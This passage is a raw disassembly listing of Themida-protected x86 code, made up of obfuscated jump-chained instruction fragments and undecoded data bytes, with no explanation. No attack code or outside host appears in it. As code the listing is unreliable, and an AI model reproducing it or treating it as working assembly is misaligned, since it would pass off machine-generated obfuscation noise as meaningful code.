		dd 145CB768h, 0FE9587Dh, 89000046h, 0E389241Ch,	4C381h
		dd 0EB830000h, 241C8704h, 243C895Ch, 0FF420CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5678E9:				; CODE XREF: Themida_:00569A01j
		push	166h
		mov	[esp], ebp
		jmp	loc_561886
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 0FFFF1141h
; ---------------------------------------------------------------------------

loc_5678FC:				; CODE XREF: Themida_:0056BB94j
		pop	eax
		jmp	loc_566729
; ---------------------------------------------------------------------------
		dw 0D388h
		dd 4AE95A66h, 8BFFFFF8h, 0C483243Ch, 2C38104h, 33000000h
		dd 1C31241Ch, 241C3324h, 6424248Bh, 0E9028966h,	0FFFF0F60h
		dd 2DB6ED81h, 48B55DAh,	4C48124h, 31000000h, 242C8BEAh
		dd 5704C483h, 2D18AABFh, 50AF0549h, 0F8013C41h,	4150AF2Dh
		dd 243C8B3Ch, 4C481h, 59050000h, 2911CB1Dh, 41BD55D0h
		dd 81269868h, 1166E1C5h, 62CD8160h, 816ECB73h, 20E209EDh
		dd 8BE829DDh, 77E9242Ch
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567987:				; CODE XREF: Themida_:00565D4Dj
		sub	esp, 4
		jmp	loc_560097
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 4F0E1761h, 515EF531h, 89E88950h, 0CB8958C1h,	83240C8Bh
		dd 815D04C4h, 0B1737EDh, 81DD0150h, 0B1737C5h, 0B9515B50h
		dd 4, 3359CD01h, 2C31242Ch, 242C3324h, 0E924248Bh, 2CD3h
		dd 29C568h, 0CE8DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5679DE:				; CODE XREF: Themida_:00566493j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55FB0F
; ---------------------------------------------------------------------------

loc_5679E7:				; CODE XREF: Themida_:0055EC5Cj
		push	ecx
		mov	ecx, 0A818002h
		sub	eax, 2C80745Ah
		sub	eax, ecx
		add	eax, 2C80745Ah
		pop	ecx
		sub	ecx, eax
		jmp	loc_55AED7
; ---------------------------------------------------------------------------
		db 68h,	0D4h, 60h
		dd 295F508Fh, 0E908247Ch, 0FFFF5DBEh, 0E9008F66h, 0FFFF0E74h
		dd 88D0F65Ah, 24048BC3h, 0E904C483h, 4763h, 5224348Bh
		dd 0FF4D79E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567A31:				; CODE XREF: Themida_:0055D753j
		mov	ebx, 68E9D90Eh
		jmp	loc_56383C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5B042474h, 0E924048Fh, 0FFFF8750h, 2474FF57h, 0E6E95F04h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567A53:				; CODE XREF: Themida_:0056B193j
		sub	eax, 41F17C57h
		jmp	loc_56C693
; ---------------------------------------------------------------------------
		db 87h,	3Ch, 24h
		dd 0E924048Bh, 51h, 0CDC6815Ah,	127974Dh, 0CDEE81C6h, 0E927974Dh
		dd 0FFFF9730h, 5447EF81h, 0EFC16A62h, 201EE902h, 0E805FFFFh
		dd 0F73E0742h, 5D0F7D8h, 0E61F91DEh, 82E9C729h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567A9F:				; CODE XREF: Themida_:0056CA4Ej
		mov	edi, esp
		push	edx
		jmp	loc_561BF3
; ---------------------------------------------------------------------------
		db 0B6h
		dd 8BF328F7h, 0C4832414h, 0C0B60F04h, 0FF56B3E9h, 4C481FFh
		dd 0E9000000h, 0FFFFCCD5h, 4EC81h, 2C890000h, 6891BD24h
		dd 42E97629h, 1FFFF91h,	22BE68F8h, 3C890000h, 5864BF24h
		dd 0F82922AEh, 0FF505F5Fh, 0E9042474h, 0FFFF2A87h, 64E1E957h
		dd 0E95EFFFFh, 3F85h, 55DE809h,	47853DE3h, 17702D35h, 58C70138h
		dd 0F781DFF7h, 79AA78EAh, 0FF8938E9h, 0C46858FFh, 89000018h
		dd 4BE2434h, 81000000h,	0D407A1C2h, 0CCB95119h,	2913466Bh
		dd 0F22959CAh, 6BCCC281h, 0EA811346h, 19D407A1h, 0E924348Bh
		dd 1D68h, 5B5DEA01h, 4245401h, 8324148Bh, 0C6E904C4h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567B63:				; CODE XREF: Themida_:005642B3j
		mov	esi, 650B37h
		shl	esi, 6
		shr	esi, 3
		not	esi
		xor	esi, 0FCD7A643h
		add	edi, esi
		pop	esi
		push	edx
		jmp	loc_56777E
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0BD55C701h, 2EEF2892h, 5C6AC581h, 0C5816A94h, 16072660h
		dd 47C0CD81h, 0F5810A09h, 210D7C9Ch, 5DF1E9h, 8BCE0100h
		dd 0E9240Ch, 0BFFFFF80h, 22DF6E1Eh, 0D7F7E7D1h,	4703EFC1h
		dd 0FFE8F6E9h, 241487FFh, 0CC2E95Ch, 835DFFFFh,	0BF5704C4h
		dd 48A11C49h, 526E9h
		db 0
; ---------------------------------------------------------------------------

loc_567BD9:				; CODE XREF: Themida_:0056AE87j
		shr	ebp, 2
		push	ebx
		jmp	loc_56DC5B
; ---------------------------------------------------------------------------

loc_567BE2:				; CODE XREF: Themida_:005691B3j
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_566570
; ---------------------------------------------------------------------------
		db 81h
		dd 31D1BEDh, 81F50117h,	31D1BC5h, 92ED8117h, 813E6944h
		dd 834183C5h, 0D7C5815Bh, 0E91FDA54h, 0FFFF3EAEh, 815FFD01h
		dd 2C5h, 242C3300h, 33242C31h, 248B242Ch, 0F1F76624h, 0FF2100E9h
		dd 805B59FFh, 885150F4h, 0FFCF88E1h, 0C8B2434h,	4C48124h
		dd 81000000h, 4C4h, 0C390E900h,	34FFFFFFh, 7BE95924h, 89FFFFB0h
		dd 81522404h, 4ECh, 24048900h, 0E904EC83h, 5008h
; ---------------------------------------------------------------------------

loc_567C70:				; CODE XREF: Themida_:0055A599j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56A00C
; ---------------------------------------------------------------------------
		dw 8B5Bh
		dd 69E92404h, 89FFFF94h, 0B850241Ch, 4,	24348150h, 0E5F4B71h
		dd 2F04E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_567C9E:				; CODE XREF: Themida_:00562C7Ej
		pop	edi
		sub	ebp, 3CC21BDh
		add	ebp, ecx
		add	ebp, 3CC21BDh
		pop	ecx
		jmp	loc_569EB9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 241C8700h, 3124248Bh, 0C5E92404h, 89FFFF0Bh, 0C6015DE8h
		dd 8324048Bh, 5D6804C4h, 89000053h, 74FF2434h, 8F5E0424h
		dd 0D25C2404h, 0E99C242Ch, 0FFFF0BA0h
; ---------------------------------------------------------------------------

loc_567CEC:				; CODE XREF: Themida_:00564135j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		jmp	loc_56002E
; ---------------------------------------------------------------------------
aIHg8		db '‰<$hG8',0
		align 2
		dw 8F54h
		dd 0CFE92404h, 5F000056h, 0FF7457E9h, 0C3E95EFFh, 81FFFF93h
		dd 2C39FBF6h, 5EF12961h, 0FFEB88E9h, 7B1605FFh,	485D58E0h
		dd 903CAD2Dh, 4276250Dh, 0BA524BFBh, 49D13FFCh,	0FF3358E9h
		dd 0B7E957FFh, 0BAFFFF92h, 70070AD3h, 4F18EA81h, 0BF576529h
		dd 11CD7DD9h, 0CEEF814Fh, 31F23E16h, 0A678E9FAh, 0EC83FFFFh
		dd 240C8904h, 8809B652h, 88505AF1h, 58E688CCh, 0CE42E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567D82:				; CODE XREF: Themida_:00568D71j
		or	eax, eax
		jz	loc_56CF4F
		push	dword ptr [edi+1Ch]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55D3D1
; ---------------------------------------------------------------------------

loc_567D98:				; CODE XREF: Themida_:00566C82j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 50A4773Eh
		push	ecx
		push	edi
		add	dword ptr [esp], 7FE357EAh
		pop	ecx
		push	edi
		jmp	loc_5598A0
; ---------------------------------------------------------------------------
		dw 0E830h
		dd 81240C8Bh, 4C4h, 0EC835200h,	240C8904h, 1F6A68h, 40CBE900h
		dd 1C8B0000h, 4C48324h,	0FF3ECEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567DE1:				; CODE XREF: Themida_:00565952j
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		push	edx
		mov	edx, 1BDA7FF0h
		add	ebp, edx
		pop	edx
		jmp	loc_562E5F
; ---------------------------------------------------------------------------
		dd 815D5455h, 4C5h, 87EDE900h, 5D5AFFFFh, 0AEE95759h, 100000Eh
		dd 50FBE9D0h, 0CF680000h, 81000017h, 4ECh, 48F5400h, 24048124h
		dd 4, 0E924048Fh, 0FFFF975Fh, 282CE800h, 592434FFh, 0E904C483h
		dd 0FFFFBE62h, 0C181E189h, 4, 2C181h, 75E90000h
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567E57:				; CODE XREF: Themida_:0056BFB4j
		sub	edx, 153433E4h
		sub	edx, ecx
		add	edx, 153433E4h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56C1FB
; ---------------------------------------------------------------------------
		db 1
		dd 92C181F9h, 8B35CE27h, 96E9243Ch, 57FFFFE2h, 0FFB291E9h
		dd 24048FFFh, 61D1E955h, 2435FFFFh, 40633F18h, 0F7B82105h
		dd 58C189F9h, 216DE9h
		db 0
; ---------------------------------------------------------------------------

loc_567EA5:				; CODE XREF: Themida_:0056952Bj
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 25A1B4Fh
		push	eax
		mov	eax, 6510162Ah
		add	ebp, eax
		jmp	loc_567866
; ---------------------------------------------------------------------------
		dd 5020C780h, 0D02C80B0h, 0E9D5B753h, 0FFFFE7B1h, 3821BA52h
		dd 0B5E95C2Bh, 4F000053h, 9C48C781h, 96E959ADh,	89FFFF65h
		dd 0EC83241Ch, 0F32CE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567F02:				; CODE XREF: Themida_:00558CCAj
		pop	esi
		sub	ecx, 4EB981F8h
		mov	edi, ecx
		pop	ecx
		jmp	loc_567426
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 24E6E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_567F1A:				; CODE XREF: Themida_:00565B42j
		xor	eax, 4B6EB76Fh
		mov	edi, eax
		jmp	loc_55B113
; ---------------------------------------------------------------------------
		dw 0C15Eh
		dd 5CE904EAh, 0BFFFFFEFh, 141C4200h, 0C828B850h, 0C7015DEAh
		dd 0FF508EE9h, 0C1815AFFh, 4, 0FF217EE9h, 0F5E95CFFh, 30000006h
		dd 30E230D4h, 0E9FA30D4h, 5117h
; ---------------------------------------------------------------------------

loc_567F60:				; CODE XREF: Themida_:0055B6ADj
		pop	eax
		jmp	loc_565B39
; ---------------------------------------------------------------------------
		dw 0C831h
		dd 7BEF2559h, 0D0F74D2Ch, 53E9E8D1h, 5F00003Dh,	4C381h
		dd 1C870000h, 0C46FE924h, 0FEBBFFFFh, 557F415Fh, 2274EBBDh
		dd 52C5811Eh, 813EB42Dh, 123855EDh, 8BEB0930h, 0C481242Ch
		dd 4, 0FF32B1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567FAD:				; CODE XREF: Themida_:00563852j
		xchg	edx, [esp]
		jmp	loc_5625B3
; ---------------------------------------------------------------------------
		db 29h,	0C3h, 68h
		dd 6113h, 0E9242C89h, 58Fh, 3EB45066h, 5866E530h, 0E9C0E580h
		dd 0FFFF7848h
; ---------------------------------------------------------------------------

loc_567FD4:				; CODE XREF: Themida_:0055B735j
		mov	esi, esp
		jmp	loc_55BF5B
; ---------------------------------------------------------------------------
		db 58h
		dd 0FF6393E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_567FE1:				; CODE XREF: Themida_:0056C5B8j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		jmp	loc_56D595
; ---------------------------------------------------------------------------

loc_567FFC:				; CODE XREF: Themida_:0056D857j
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56D5EC
; ---------------------------------------------------------------------------

loc_56800A:				; CODE XREF: Themida_:0056A690j
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	ah, 88h
		and	ah, 85h
		xor	ah, 0C1h
		add	ah, 3Dh
		add	ah, 10h
		mov	cl, ah
		jmp	loc_566598
; ---------------------------------------------------------------------------

loc_568026:				; CODE XREF: Themida_:0056A3E9j
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_567073
; ---------------------------------------------------------------------------

loc_568034:				; CODE XREF: Themida_:0055C546j
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_5691B1
; ---------------------------------------------------------------------------

loc_568040:				; CODE XREF: Themida_:0056C55Bj
		shr	ecx, 6
		add	ecx, 518872B1h
		neg	ecx
		not	ecx
		add	ecx, 18136D2Dh
		add	ebp, ecx
		jmp	loc_55F645
; ---------------------------------------------------------------------------
		dw 0C788h
		dd 0F38CE958h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568062:				; CODE XREF: Themida_:0056A30Cj
		add	esp, 4
		push	edx
		mov	edx, 532E4B20h
		jmp	loc_566228
; ---------------------------------------------------------------------------
		dd 16E9E388h, 5AFFFF27h, 0E924048Fh, 2C9h, 4E5DEE31h, 0D68EEE81h
		dd 8146E756h, 0A76299EEh, 1BE68179h, 81476011h,	0A96888CEh
		dd 12C68134h, 81C830A9h, 9562D4C2h, 81F2011Fh, 9562D4EAh
		dd 24348B1Fh, 4C481h, 0EAC10000h, 22E95103h, 50FFFFB1h
		dd 268h, 24148900h, 0E49FBBAh, 3564E97Ah, 34FF0000h, 2434FF24h
		dd 81243C8Bh, 4C4h, 0E2895200h,	30FAE950h, 14F7FFFFh, 24348B24h
		dd 4C481h, 0A0E90000h, 1FFFF56h, 73055FF8h, 169665Fh, 3283E9D0h
		dd 0F660000h, 5166C8B6h, 458AE99Ch, 2BEFFFFh, 29000000h
		dd 2C335EF5h, 242C3124h, 5C242C33h, 24048966h, 0FF0757E9h
		dd 0C8B66FFh, 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h
		dd 68241C89h, 767Ch, 0FF524FE9h, 24048BFFh, 5304C483h
		dd 8904EC83h, 87E92404h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56816B:				; CODE XREF: Themida_:00559ED3j
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_56883F
; ---------------------------------------------------------------------------
		dw 802Dh
		dd 5231970h, 5F7B4912h,	8B2434FFh, 0C4812414h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, 65E3342Dh
		jmp	loc_55B7C1
; ---------------------------------------------------------------------------

loc_5681BA:				; CODE XREF: Themida_:00562BE8j
		shl	eax, 1
		sub	eax, 0CEED42CBh
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		jmp	loc_5612F0
; ---------------------------------------------------------------------------
		db 0BBh, 0CCh, 40h
		dd 0BE567B81h, 159627B4h, 4599F681h, 0F30958CCh, 33E9435Eh
		dd 8100004Fh, 2008CEF5h, 0C5814534h, 0B23587D8h, 815DEE01h
		dd 636844F6h, 7E6C149h,	0F681EED1h, 7E778B97h, 895EF529h
		dd 0C2815DEFh, 77E40994h, 0EA81FA01h, 77E40994h, 81243C8Bh
		dd 4C4h, 0E1895100h, 35D4BE56h,	0F6812DD8h, 316E26DAh
		dd 1F24E9h, 0E6C05900h,	3CC68006h, 79C680h, 21DAE9F0h
		dd 0E958FFFFh, 0FFFF54A3h
; ---------------------------------------------------------------------------

loc_56825C:				; CODE XREF: Themida_:005592CAj
		pop	eax
		sub	edi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55C4E6
; ---------------------------------------------------------------------------

loc_56826E:				; CODE XREF: Themida_:0056367Bj
		mov	[esp], ax
		jmp	loc_55888C
; ---------------------------------------------------------------------------

loc_568277:				; CODE XREF: Themida_:0056D975j
		mov	ecx, ebx
		pop	ebx
		jmp	loc_56B151
; ---------------------------------------------------------------------------
aIXfzsja	db 'ˆÇXfZé†A',0
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	ecx
		push	6FEE7523h
		pop	ecx
		jmp	loc_55D5A3
; ---------------------------------------------------------------------------

loc_568299:				; CODE XREF: Themida_:0055CA36j
		push	edx
		jmp	loc_56887D
; ---------------------------------------------------------------------------

loc_56829F:				; CODE XREF: Themida_:0056C6F2j
		pop	edi
		push	1A22h
		jmp	loc_569D2A
; ---------------------------------------------------------------------------

loc_5682AA:				; CODE XREF: Themida_:005688CAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_56324C
; ---------------------------------------------------------------------------
		dd 0F380D3F6h, 6D42E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5682DA:				; CODE XREF: Themida_:00564AE3j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_56266C
; ---------------------------------------------------------------------------

loc_5682FC:				; CODE XREF: Themida_:0055DB55j
		pop	ebp
		sub	ebp, 714F07F3h
		jmp	loc_55E9D0
; ---------------------------------------------------------------------------
		dd 0E72CE948h, 8358FFFFh, 0C18304C4h, 240C3302h, 33240C31h
		dd 665C240Ch, 9C2424D3h, 0FF0563E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568329:				; CODE XREF: Themida_:0055A356j
		pop	edx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		push	eax
		mov	eax, 7C3E50C4h
		sub	esi, eax
		pop	eax
		add	esi, edx
		jmp	loc_55F4CA
; ---------------------------------------------------------------------------
		db 5Ch,	21h, 4
		dd 39E99C24h, 87FFFF05h, 895C240Ch, 0F6E92434h,	0B9FFFFD0h
		dd 25524065h, 7091C181h, 0D1F73BD1h, 4904E1C1h,	0CE7DE981h
		dd 0CB01A719h, 4EC8359h, 0BF243C89h, 6A331112h,	0E95FFB29h
		dd 0FFFFE6DEh, 24F38059h, 6638B252h, 66476068h,	0B4240489h
		dd 66E208EEh, 1EA8058h,	541168h, 24048900h, 0C2281FB0h
		dd 72B35358h, 0E972F380h, 304Bh, 0BE243489h, 501B7BA6h
		dd 26C9E9h
		db 0
; ---------------------------------------------------------------------------

loc_5683C9:				; CODE XREF: Themida_:0056D0A0j
		sub	esp, 4
		mov	[esp], esp
		push	edx
		mov	edx, 4
		add	dword ptr [esp+4], 38921B56h
		add	[esp+4], edx
		sub	dword ptr [esp+4], 38921B56h
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 1E797056h
		shr	ebx, 2
		shl	ebx, 8
		add	ebx, 83B4EC6h
		xor	ebx, 0A69763C2h
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_569D4A
; ---------------------------------------------------------------------------
		db 0F6h, 0D1h, 80h
		dd 3EE973C9h, 8B00000Eh, 0F662424h, 9C2404B3h, 0FF044FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56843D:				; CODE XREF: Themida_:0056BB30j
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, 26BB0003h
		jmp	loc_562BE0
; ---------------------------------------------------------------------------
		db 89h
		dd 5356243Ch, 0EA04ECBBh, 62E8BE34h, 0DE29425Eh, 0FF4A2DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568475:				; CODE XREF: Themida_:0056B7FDj
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_560E06
; ---------------------------------------------------------------------------
		db 4Ah,	0D1h, 0EAh
		dd 26FDF281h, 50556851h, 233CC2B8h, 0C1D0F740h,	0D8F705E8h
		dd 67483F05h, 5D0F736h,	6601CA23h, 2958C589h, 0CAE95DE8h
		dd 0B8000046h, 0A60B54C0h, 0AFE9C629h, 88FFFF15h, 0E9D088DAh
		dd 0FFFFF54Ch, 0B82ABF57h, 0F801C02Eh, 58C3895Fh, 5653C181h
		dd 0D90169FCh, 5653E981h, 34FF69FCh, 0C4815B24h, 4, 0E904EC83h
		dd 0FFFF1524h
; ---------------------------------------------------------------------------

loc_5684F8:				; CODE XREF: Themida_:00562450j
		push	ebx
		mov	bh, al
		mov	ch, bh
		pop	ebx
		jmp	loc_56B57F
; ---------------------------------------------------------------------------

loc_568503:				; CODE XREF: Themida_:0055B1E3j
		mov	edi, eax
		pop	eax
		neg	edi
		push	ebp
		jmp	loc_5642B8
; ---------------------------------------------------------------------------

loc_56850E:				; CODE XREF: Themida_:0056CF01j
		mov	[esp], edx
		jmp	loc_55962D
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4CE3BF24h, 0C7811D05h, 0AE8186Eh, 2EFC14Fh, 0FF96FBE9h
		dd 5CE95AFFh, 89000015h, 4C281E2h, 50000000h, 0D21FB2B8h
		dd 0E0520563h, 0C2019C2Dh, 74FF5258h, 8BE90424h, 0BDFFFFA8h
		dd 7DB353F2h, 281EE9h, 4C48300h, 83242C8Bh, 9DE904C4h
		dd 83000020h, 895204C4h, 4C281E2h, 81000000h, 4ECh, 243C8900h
		dd 5B4E6853h, 0E95B1131h, 0FFFF3B8Ch
; ---------------------------------------------------------------------------

loc_56858C:				; CODE XREF: Themida_:0055B3BBj
		push	12EC670Bh
		pop	ecx
		add	ecx, 51DEAB6Bh
		mov	ebp, ecx
		jmp	loc_558B45
; ---------------------------------------------------------------------------

loc_56859F:				; CODE XREF: Themida_:0055E78Bj
		mov	ecx, esp
		push	ebp
		push	7BD7h
		jmp	loc_569700
; ---------------------------------------------------------------------------

loc_5685AC:				; CODE XREF: Themida_:00561F36j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	1000000h
		jmp	loc_562473
; ---------------------------------------------------------------------------

loc_5685BF:				; CODE XREF: Themida_:00569EB4j
		dec	esi
		neg	esi
		jmp	loc_5658DE
; ---------------------------------------------------------------------------

loc_5685C7:				; CODE XREF: Themida_:00562333j
		push	ecx
		push	4058619Ah
		pop	ecx
		shr	ecx, 5
		xor	ecx, 3D597271h
		dec	ecx
		jmp	loc_565D72
; ---------------------------------------------------------------------------
		db 53h,	87h, 4
		dd 84AFE924h, 159FFFFh,	5FC281EAh, 0FF43F01Ch, 27E92434h
		dd 81FFFF50h, 4567F2h, 0C9EA8158h, 0C17CBF02h, 9EE905EAh
		dd 33FFFFE5h, 3C31243Ch, 243C3324h, 0CAC2815Ch,	11C4948h
		dd 4FBF57C2h, 0F7092809h, 7AF781D7h, 29EA9EBEh,	0E9555FFAh
		dd 0FFFF230Eh, 81243C8Bh, 4C4h,	4EC8300h, 0E9242C89h, 3B39h
		dd 0E9243C89h, 1A7h
; ---------------------------------------------------------------------------

loc_568650:				; CODE XREF: Themida_:00568855j
		pop	esi
		jmp	loc_5619E0
; ---------------------------------------------------------------------------

loc_568656:				; CODE XREF: Themida_:0056659Cj
		add	al, cl
		push	dword ptr [esp]
		jmp	loc_565828
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0CA8904C4h, 81240C8Bh, 4C4h, 0B8685100h
		dd 592BA057h, 34FFCA31h, 0CFDFE924h, 0BE66FFFFh, 81666145h
		dd 667094EEh, 4E66DEF7h, 23F68166h, 0F6816619h,	3166B99Dh
		dd 89665EF2h, 24148BD3h, 4C481h, 13E90000h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5686AF:				; CODE XREF: Themida_:005691C1j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xor	ebp, ecx
		jmp	loc_560DD3
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 82h
		dd 0BBFFFFC9h, 4, 34FFDA01h, 0C4835B24h, 24143304h, 33241431h
		dd 97E92414h, 8700002Ch, 0E9D7F7F9h, 0FFFF60C2h, 0EA895D56h
		dd 83242C8Bh, 15E04C4h,	0EC835AD0h, 243C8904h, 0FFBCF7E9h
		dd 1C77FFFFh, 1858669Dh, 0E99C2404h, 0FFFF0174h, 24048B66h
		dd 0F6F4E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_568722:				; CODE XREF: Themida_:00559DC6j
		add	esi, ebp
		sub	esi, 328A5735h
		pop	ebp
		push	3E608532h
		jmp	loc_55BEBA
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0DA010000h, 5B2434FFh, 8304C483h, 148704EAh,	0CBC5E924h
		dd 0B850FFFFh, 4, 5658C601h, 42474FFh, 8324348Bh, 48F04C4h
		dd 24248B24h, 5FD768h, 241C8900h, 0C3815B54h, 4, 4EB81h
		dd 1C870000h, 4895C24h,	4B824h,	0EE810000h, 22F84D14h
		dd 0B8E9C601h, 81FFFFCBh, 4C3h,	78B85000h, 2D5E3358h, 5E335876h
		dd 4EC81h, 2C890000h, 9E6FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5687B6:				; CODE XREF: Themida_:00558AFBj
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55BDFC
; ---------------------------------------------------------------------------
		db 52h
		dd 0C97477BAh, 5205E954h, 0EA81FFFFh, 4C02335Ah, 7CBF5742h
		dd 816ED550h, 10428FC7h, 3AFCE90Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5687EA:				; CODE XREF: Themida_:005598ABj
		or	edi, 6E3220EFh
		neg	edi
		jmp	loc_56402F
; ---------------------------------------------------------------------------
		db 89h
		dd 4C781E7h, 83000000h,	3C3304C7h, 243C3124h, 5C243C33h
		dd 0FF5765E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568811:				; CODE XREF: Themida_:005590A5j
		mov	eax, 2EFC49D6h
		shl	eax, 8
		and	eax, 2F772BBBh
		shl	eax, 5
		jmp	loc_56D96A
; ---------------------------------------------------------------------------
		dw 429h
aS_7		db '$ώ]',0
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56882F:				; CODE XREF: Themida_:0055DBD6j
		sub	edx, 0E476CC7h
		push	edi
		mov	edi, edx
		mov	ecx, edi
		jmp	loc_5636D1
; ---------------------------------------------------------------------------

loc_56883F:				; CODE XREF: Themida_:00568181j
		push	esp
		pop	ebp
		jmp	loc_565498
; ---------------------------------------------------------------------------

loc_568846:				; CODE XREF: Themida_:00569A23j
		and	ebx, 5EA365ADh
		push	edx
		push	esi
		mov	esi, 0F9BABF72h
		mov	edx, esi
		jmp	loc_568650
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 7CC15F1Eh, 0FFB563E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_568865:				; CODE XREF: Themida_:0055C936j
		push	ebx
		mov	ebx, 4
		sub	esi, ebx
		jmp	loc_55CEDA
; ---------------------------------------------------------------------------

loc_568872:				; CODE XREF: Themida_:00559CC8j
		mov	ecx, eax
		pop	eax
		mov	eax, ecx
		pop	ecx
		jmp	loc_566CA7
; ---------------------------------------------------------------------------

loc_56887D:				; CODE XREF: Themida_:0056829Aj
		mov	dl, cl
		mov	ah, dl
		pop	edx
		pop	ecx
		mov	cl, ah
		mov	eax, [esp]
		add	esp, 4
		mov	[edi+eax*4+1], cl
		push	dword ptr [esp]
		pop	ecx
		push	10F6h
		mov	[esp], ebp
		jmp	loc_569883
; ---------------------------------------------------------------------------
aRHfj		db 'R¶ËhfJ',0
		align 4
		dd 1A2AE9h, 4DE18100h, 0E9227215h, 25E6h
; ---------------------------------------------------------------------------

loc_5688B8:				; CODE XREF: Themida_:00560284j
		pop	edx
		push	eax
		mov	al, 0F5h
		add	al, 97h
		jmp	loc_55DC00
; ---------------------------------------------------------------------------

loc_5688C3:				; CODE XREF: Themida_:0055DCC0j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5682AA
; ---------------------------------------------------------------------------
		db 33h
		dd 248B241Ch, 2434FF24h, 0DCE95358h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5688DF:				; CODE XREF: Themida_:0055BFDAj
		pop	cx
		sub	dh, 86h
		sub	dh, bh
		add	dh, 86h
		jmp	loc_55E57E
; ---------------------------------------------------------------------------
		dw 0C581h
